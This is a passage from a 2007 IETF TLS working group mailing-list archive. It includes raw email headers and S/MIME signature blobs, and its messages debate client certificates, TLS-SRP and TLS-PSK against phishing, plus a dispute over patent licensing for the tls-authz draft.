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 k488tH9qcusIw8+7uXeHOZHyFUOHMINJZO9mq9HwGMC4v1xiPwoAJkzFtHf3D9VAholjhEFg d28aJSs6qN15PXDgDjptAl34eoUxggKuMIICqgIBATBlMFsxCzAJBgNVBAYTAkZSMRAwDgYD VQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNVBAMTF0VkZWxQ S0kgRWRlbFdlYiBQZXJzR0VOAgYKr4oygN4wCQYFKw4DAhoFAKCCAZ8wGAYJKoZIhvcNAQkD MQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDcwNjA1MTUzODMyWjAjBgkqhkiG9w0B CQQxFgQU85dB6QuNvUmtPz2OcUuRQ32nrpcwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0D BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGAiag26y2vAeao9L42 ZvzuJ4bR1I8ja8VM3jXecD2YhdZOVlu5+ZVKnkOO0Ka1BnZUi3nl7YtgSH5IWFPoAQB0YcuT lHloCCRKOaQWrW4Lea2hzbACXGDZJb3+G6hI/6M359SADsJny6Cw/rEcg69oECASYJH0QHSs H0Jjo0f+5VYAAAAAAAA= --------------ms050604040702060009010607-- --===============0249701861== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0249701861==-- From tls-bounces@lists.ietf.org Tue Jun 05 11:53:04 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvbLB-0000gu-OB; Tue, 05 Jun 2007 11:53:01 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvbLA-0000ZG-BB for tls@ietf.org; Tue, 05 Jun 2007 11:53:00 -0400 Received: from smtpde01.sap-ag.de ([155.56.68.171]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvbL8-0001H2-Tv for tls@ietf.org; Tue, 05 Jun 2007 11:53:00 -0400 Received: from sap-ag.de (smtpde01) by smtpde01.sap-ag.de (out) with ESMTP id RAA10765; Tue, 5 Jun 2007 17:52:47 +0200 (MESZ) From: Martin Rex Message-Id: <200706051550.l55FodJc027397@fs4113.wdf.sap.corp> Subject: Re: [TLS] Straw poll on TLS SRP status To: pgut001@cs.auckland.ac.nz (Peter Gutmann) Date: Tue, 5 Jun 2007 17:50:39 +0200 (MEST) In-Reply-To: from "Peter Gutmann" at May 30, 7 10:16:34 pm MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 41c17b4b16d1eedaa8395c26e9a251c4 Cc: tls@ietf.org, paul.hoffman@vpnc.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Peter Gutmann wrote: > > >We are happily using SSL with client certs for 30k+ users with a number of > >different servers and we've been using it productively for 6 years now > >(started using it 1999). > > The reason I made the comment about TLS client auth being an abject failure is > that every time anyone mentions the possibility of providing any other way of > authenticating clients and servers, it's practically guaranteed that someone > will pop out of the woodwork and state that we already have the perfect > solution to authentication in the form of client certs (see e.g. the comments > made during the TLS-PSK last call), and here's a special-case stovepipe > deployment with a captive audience as incontrovertible proof that client certs > are perfectly workable in the real world. In the meantime we have a multi- > billion doller phishing industry as proof that if certificate-based > authentication is working then it's a very peculiar interpretation of the term > "working". RSA-based smartcards have been around for quite some time, they're working, and they have a decent security level. However there still are lots of banking cards and credit cards issued that use fairly weak technology, often only a simply magnetic stripe. Credit cards are designed to be used in "card-not-present" scenarios (e.g. over the phone), but even in all of the card-present scenarios, the same "authentication technology" which is vulnerable to social engineering attacks is used. Why? The customer has basically no say in it. It is a decision done by the banks, and as long as either the damage is on a manageable low level or can be blamed on the customer, they don't really care for security -- they care much more about costs. One of the few areas where the issuers have an interest in the security of the technology seems to be cable and satellite TV. I don't think the problem is with the technology (SSL client cert), but with the service providers. They prefer to use passwords, because that is what everybody is used to and it has a fairly low cost to set up and operate. However, passwords have the fundamental flaw that they're always vulnerable to social engineering attacks, and phishing is basically a form of social engineering attack. As long as passwords are used, phishing of some kind will remain possible. I never saw TLS-PSK as an interactive authentication scheme for use within a Web Browser. IMHO that would be a pretty bad idea. TLS-PSK should be used only in scenarios that are NOT vulnerable to social engineering, something that is part of an initial configuration (like WPA/WPA2-keys for WLAN). Today, a Web-Browser (or any other component that interprets arbitrary content from arbitrary sources, or worse, execution or arbitrary code from arbitrary sources, aka "active content") is the largest security problem on every (inter)net connected computer and I have strong doubts that one can make it safe against social engineering attacks. One additional problem is "password sharing" accross accounts. Even if you can educate your users to check a dozen of attributes before entering their password into the secure prompt for 9 of their secure services, I doubt you will be able to prevent them from reusing a password on those services that remain traditional and vulnerable to phishing. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 13:02:31 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvcQL-0000J7-Tk; Tue, 05 Jun 2007 13:02:25 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvcQK-0000EF-5h for tls@ietf.org; Tue, 05 Jun 2007 13:02:24 -0400 Received: from ms-smtp-04.rdc-nyc.rr.com ([24.29.109.8]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvcQH-0000WP-Qb for tls@ietf.org; Tue, 05 Jun 2007 13:02:24 -0400 Received: from www.secure-endpoints.com (cpe-24-193-47-99.nyc.res.rr.com [24.193.47.99]) by ms-smtp-04.rdc-nyc.rr.com (8.13.4/8.13.4) with ESMTP id l55H2IU8009964 for ; Tue, 5 Jun 2007 13:02:19 -0400 (EDT) Received: from [192.168.1.13] by secure-endpoints.com (Cipher TLSv1:RC4-MD5:128) (MDaemon PRO v9.5.6) with ESMTP id md50000054577.msg for ; Tue, 05 Jun 2007 13:02:32 -0400 Message-ID: <46659726.1040808@secure-endpoints.com> Date: Tue, 05 Jun 2007 13:02:30 -0400 From: Jeffrey Altman Organization: Secure Endpoints Inc. User-Agent: Thunderbird 2.0.0.0 (Windows/20070326) MIME-Version: 1.0 To: martin.rex@sap.com Subject: Re: [***SPAM*** Score/Req: 11.0/5.0] Re: [TLS] Straw poll on TLS SRP status References: <200706051550.l55FodJc027397@fs4113.wdf.sap.corp> In-Reply-To: <200706051550.l55FodJc027397@fs4113.wdf.sap.corp> X-Enigmail-Version: 0.95.0 OpenPGP: url=http://pgp.mit.edu X-Authenticated-Sender: jaltman@secure-endpoints.com X-Spam-Processed: www.secure-endpoints.com, Tue, 05 Jun 2007 13:02:32 -0400 (not processed: message from valid local sender) X-Lookup-Warning: EHLO lookup on [192.168.1.13] does not match 24.193.47.99 X-Return-Path: jaltman@secure-endpoints.com X-Envelope-From: jaltman@secure-endpoints.com X-MDaemon-Deliver-To: tls@ietf.org X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.1 (/) X-Scan-Signature: 87a3f533bb300b99e2a18357f3c1563d Cc: paul.hoffman@vpnc.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: jaltman@secure-endpoints.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1663151204==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============1663151204== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms030402020400060901060902" This is a cryptographically signed message in MIME format. --------------ms030402020400060901060902 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Martin Rex wrote: > I don't think the problem is with the technology (SSL client cert), > but with the service providers. They prefer to use passwords, because > that is what everybody is used to and it has a fairly low cost to > set up and operate. > > However, passwords have the fundamental flaw that they're always vulnerable > to social engineering attacks, and phishing is basically a form of > social engineering attack. As long as passwords are used, phishing > of some kind will remain possible. > > > I never saw TLS-PSK as an interactive authentication scheme for use > within a Web Browser. IMHO that would be a pretty bad idea. > TLS-PSK should be used only in scenarios that are NOT vulnerable > to social engineering, something that is part of an initial > configuration (like WPA/WPA2-keys for WLAN). > > Today, a Web-Browser (or any other component that interprets arbitrary > content from arbitrary sources, or worse, execution or arbitrary code > from arbitrary sources, aka "active content") is the largest security > problem on every (inter)net connected computer and I have strong doubts > that one can make it safe against social engineering attacks. > > > One additional problem is "password sharing" accross accounts. > Even if you can educate your users to check a dozen of attributes > before entering their password into the secure prompt for 9 of > their secure services, I doubt you will be able to prevent them from > reusing a password on those services that remain traditional > and vulnerable to phishing. > > -Martin I believe that we all realize that passwords continue to be used because they are the lowest-common-denominator solution that can work. I have always considered the use of passwords by SRP to be one of its strengths because it allows systems to transition to a secure form of mutual authentication without significant retraining of the user base. Will the existence of TLS-SRP suddenly stop phishing? Absolutely not. TLS-SRP is simply one more tool in the arsenal. Sam Hartman's I-D, draft-hartman-webauth-phishing, covers all of the bases. Phishing is a social engineering attack and until we can address the enrollment / re-enrollment challenges for on-line systems there are always going to be avenues. However, we can make it more incrementally more difficult for the attacks to be carried out. Password sharing is a risk that can be mitigated against by password expiration policies. However, increasing the number of passwords that must be remembered comes at the cost of the increased risk that users will forget them and become vulnerable to an attack during re-enrollment. Jeffrey Altman Secure Endpoints Inc. --------------ms030402020400060901060902 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJeTCC AxcwggKAoAMCAQICEALr5BE3U6n+HWCoLbyhohMwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UE BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDUzMTA2MTM1N1oX DTA4MDUzMDA2MTM1N1owczEPMA0GA1UEBBMGQWx0bWFuMRUwEwYDVQQqEwxKZWZmcmV5IEVy aWMxHDAaBgNVBAMTE0plZmZyZXkgRXJpYyBBbHRtYW4xKzApBgkqhkiG9w0BCQEWHGphbHRt YW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQCsoz/0+s4Cn65n/3bU3shXw4y5u1uEMEsBOiqNU0PfIKGYQe95b1FKNbNAkctSdQT6GF5c bhSnJPmb2OOb1frx64dlDgskaG561xa8XPA1aP8Cc+33dgsSLIxGEh97lyUYHEfWBC03KMCF PKhZfcrGAXoVCrFBadnLAokQbUTFahVg/qQx2IT3wSj1sCIfV5UDuXcEKHCvRtEZIsSzu184 9Cj6I4nY5bt+r94kyDHM94MHYBJi+6tWLFRy2gkIB3HEPmxAiQrKljNpH9bOffiBLIAgmJ6d 1ZXepBXyexQbwOYvftpVlMEFHHQmdiwH3tj69hE78XvM5X9J+SbjbuNpAgMBAAGjOTA3MCcG A1UdEQQgMB6BHGphbHRtYW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wDAYDVR0TAQH/BAIwADAN BgkqhkiG9w0BAQUFAAOBgQB8FShDN2Ig034Y5eyadiFDEtOvsIJ3Z2xV9aTL4u8xMlz1gZR1 AZAvCv+ZMMRRKWCsrG5tItV8DFPSfWAGMpInmMarA4f76JRLQEUhkRUg8GpkJM5ryk5EDakk 0oiBQcQD8A+UHwrcmaj3UWxQ9zCjDgU+1mY9nEQxZZyp4eeUfzCCAxcwggKAoAMCAQICEALr 5BE3U6n+HWCoLbyhohMwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoT HFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25h bCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA3MDUzMTA2MTM1N1oXDTA4MDUzMDA2MTM1N1ow czEPMA0GA1UEBBMGQWx0bWFuMRUwEwYDVQQqEwxKZWZmcmV5IEVyaWMxHDAaBgNVBAMTE0pl ZmZyZXkgRXJpYyBBbHRtYW4xKzApBgkqhkiG9w0BCQEWHGphbHRtYW5Ac2VjdXJlLWVuZHBv aW50cy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsoz/0+s4Cn65n/3bU 3shXw4y5u1uEMEsBOiqNU0PfIKGYQe95b1FKNbNAkctSdQT6GF5cbhSnJPmb2OOb1frx64dl DgskaG561xa8XPA1aP8Cc+33dgsSLIxGEh97lyUYHEfWBC03KMCFPKhZfcrGAXoVCrFBadnL AokQbUTFahVg/qQx2IT3wSj1sCIfV5UDuXcEKHCvRtEZIsSzu1849Cj6I4nY5bt+r94kyDHM 94MHYBJi+6tWLFRy2gkIB3HEPmxAiQrKljNpH9bOffiBLIAgmJ6d1ZXepBXyexQbwOYvftpV lMEFHHQmdiwH3tj69hE78XvM5X9J+SbjbuNpAgMBAAGjOTA3MCcGA1UdEQQgMB6BHGphbHRt YW5Ac2VjdXJlLWVuZHBvaW50cy5jb20wDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQUFAAOB gQB8FShDN2Ig034Y5eyadiFDEtOvsIJ3Z2xV9aTL4u8xMlz1gZR1AZAvCv+ZMMRRKWCsrG5t ItV8DFPSfWAGMpInmMarA4f76JRLQEUhkRUg8GpkJM5ryk5EDakk0oiBQcQD8A+UHwrcmaj3 UWxQ9zCjDgU+1mY9nEQxZZyp4eeUfzCCAz8wggKooAMCAQICAQ0wDQYJKoZIhvcNAQEFBQAw gdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg VG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp bCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0w MzA3MTcwMDAwMDBaFw0xMzA3MTYyMzU5NTlaMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxU aGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwg RnJlZW1haWwgSXNzdWluZyBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxKY8VXNV +065yplaHmjAdQRwnd/p/6Me7L3N9VvyGna9fww6YfK/Uc4B1OVQCjDXAmNaLIkVcI7dyfAr hVqqP3FWy688Cwfn8R+RNiQqE88r1fOCdz0Dviv+uxg+B79AgAJk16emu59l0cUqVIUPSAR/ p7bRPGEEQB5kGXJgt/sCAwEAAaOBlDCBkTASBgNVHRMBAf8ECDAGAQH/AgEAMEMGA1UdHwQ8 MDowOKA2oDSGMmh0dHA6Ly9jcmwudGhhd3RlLmNvbS9UaGF3dGVQZXJzb25hbEZyZWVtYWls Q0EuY3JsMAsGA1UdDwQEAwIBBjApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxh YmVsMi0xMzgwDQYJKoZIhvcNAQEFBQADgYEASIzRUIPqCy7MDaNmrGcPf6+svsIXoUOWlJ1/ TCG4+DYfqi2fNi/A9BxQIJNwPP2t4WFiw9k6GX6EsZkbAMUaC4J0niVQlGLH2ydxVyWN3amc OY6MIE9lX5Xa9/eH1sYITq726jTlEBpbNU1341YheILcIRk13iSx0x1G/11fZU8xggNkMIID YAIBATB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5 KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQ AuvkETdTqf4dYKgtvKGiEzAJBgUrDgMCGgUAoIIBwzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN AQcBMBwGCSqGSIb3DQEJBTEPFw0wNzA2MDUxNzAyMzBaMCMGCSqGSIb3DQEJBDEWBBSsGGHk WnfhHmD5pHPYqF7H3mSaxjBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMHMA4GCCqGSIb3 DQMCAgIAgDANBggqhkiG9w0DAgIBQDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDCBhQYJKwYB BAGCNxAEMXgwdjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcg KFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3Vpbmcg Q0ECEALr5BE3U6n+HWCoLbyhohMwgYcGCyqGSIb3DQEJEAILMXigdjBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhh d3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEALr5BE3U6n+HWCoLbyhohMwDQYJ KoZIhvcNAQEBBQAEggEAjwHGmckDlyMI+aq957k1lUjQGj9xEYETr7Gwu4bebDF3RxBwlDi/ 0pKrRkLKcETa+86WxI/sW2WBk4VJ6t5dsFDShw1CqzL6LLn5AljMProNQbapZlqqv4iy9zy6 kn0opRxnONLKsQQ53lyZAACw5KS/rQx7kvdxGYj25/2fn4kZgkdNTo+xdrSra5u+4z6J/L5a bwRq68zwDaSKjdHv8ZQHGHOs2H+JJQC2bCy2R/VnHfqZb4tTyFl0iqUOPGL8Wwxqtd4Eo8ZQ aXMUQ138toWzsZOWZq0pc5MbSPg9LyovtALXNjwt+PocyNhUDWvWzJihpVPOaB1fm++41t59 rgAAAAAAAA== --------------ms030402020400060901060902-- --===============1663151204== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============1663151204==-- From tls-bounces@lists.ietf.org Tue Jun 05 19:26:25 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HviPq-0008V7-LU; Tue, 05 Jun 2007 19:26:18 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HviPp-0008V0-3i for tls@ietf.org; Tue, 05 Jun 2007 19:26:17 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HviPm-0001uY-O1 for tls@ietf.org; Tue, 05 Jun 2007 19:26:17 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l55NQDkE021322 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 5 Jun 2007 19:26:14 -0400 Date: Tue, 5 Jun 2007 19:26:12 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: Mark Brown Subject: RE: [TLS] Comments on draft-housley-tls-authz-extns-07 In-Reply-To: <000c01c7a721$537d7a00$6801a8c0@rps.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: 73734d43604d52d23b3eba644a169745 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Mon, 4 Jun 2007, Mark Brown wrote: > all methods documented prior to the RedPhone Security patent filing, and ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > those discussed early in our consensus-building process > (http://tinyurl.com/2pvwgo ) -- are all available royalty-free under the > GUL. Those would be the __prior_art__. Of course they are free. They are available royalty free __without__ the GUL, and without a tls-authz patent license. Did you make some mistake? To me, your statement here is FUD, since there is no need to obtain a GUL to use prior-art. > To put your comment in perspective, SSL was born as a patent (See USPTO > 5,657,390, filed August 1995, issued August 1997 http://tinyurl.com/2cnuwv), Yes, indeed, there are a slew of software patents. These resulted in Richard Stallman founding the LPF, and ultimately, in RFC3979. We made the IETF policy to put an end to the practice of submarine-patented standards. You seem to have found a unique way around that. > What I think this history amounts to is that OpenSSL and its users can > stomach a handful of "off-limits" algorithms. It's like a tradition > for OpenSSL.. ;-) A tradition many people want to end. But I think we can stomach much _less_ when we are deceived about the existance of patents by the very IETF officials in whom we place our trust in their integrity and honesty. > There are now implementations of tls-authz in GNUTLS, on OpenSSL and NSS. I don't want to seem to speak for either GNUTLS, or OpenSSL, but it seems to me like they are against this standard, and that all implemented it without knowing of the patent application; so I wonder if there might be fewer implemenations of tls-authz shortly. > Free software carrying tls-authz is growing up around us whether we like it > or not. Because it's free (libre) no one asked me and apparently they > didn't ask OpenSSL developers either. Huh????? Perhaps they didn't ask because they didn't know about the patent because it was improperly concealed by an IETF official who really should be fired for his bad faith. But, I think it is not too late to stop tls-authz, if that's your point. > Personally, I think that's great -- I think sending SAML over TLS > should be free (libre), and that's why I started down the standards > track in the first place. No FUD: The GUL is just saying that > tls-authz should not be used to facilitate violations of a patent > pending access control method that I am confident is new. Are you telling us that the PAS functions are subject to a patent application? > Isn't a satisfactory resolution of "the patent issue" one where all people > get to use tls-authz royalty free for any purpose and using any non-patented > method? Yes, that would be satisfactory. To do that, you have to grant a royalty free license to the public, and drop the nonsense about an "offer of a free GUL on request". And drop the restrictions on PAS functions from the GUL, too. I note that you've seen the Netscape license, and I don't know why anyone would agree to less. > With the exception of one method that I expect will become patented, > that's what's offered for tls-authz under the GUL. Umm. Actually, No, that isn't what's offered by your cereal-box offer to give a free GUL on request. You haven't offered any license to the public, and RPS can't be compelled to complete the GUL in the future by your "offer". --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 22:26:53 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvlEY-0005JK-4b; Tue, 05 Jun 2007 22:26:50 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvlEX-0005JE-Bf for tls@ietf.org; Tue, 05 Jun 2007 22:26:49 -0400 Received: from smtpout1489.sc1.he.tucows.com ([64.97.157.189] helo=n034.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvlEW-00006I-3S for tls@ietf.org; Tue, 05 Jun 2007 22:26:49 -0400 Received: from [192.18.120.70] (192.18.120.70) by n034.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 46589531001CDE65; Wed, 6 Jun 2007 02:25:58 +0000 Message-ID: <46661B35.4060703@bolyard.com> Date: Tue, 05 Jun 2007 19:25:57 -0700 From: Nelson B Bolyard User-Agent: Mozilla/5.0 (Windows; 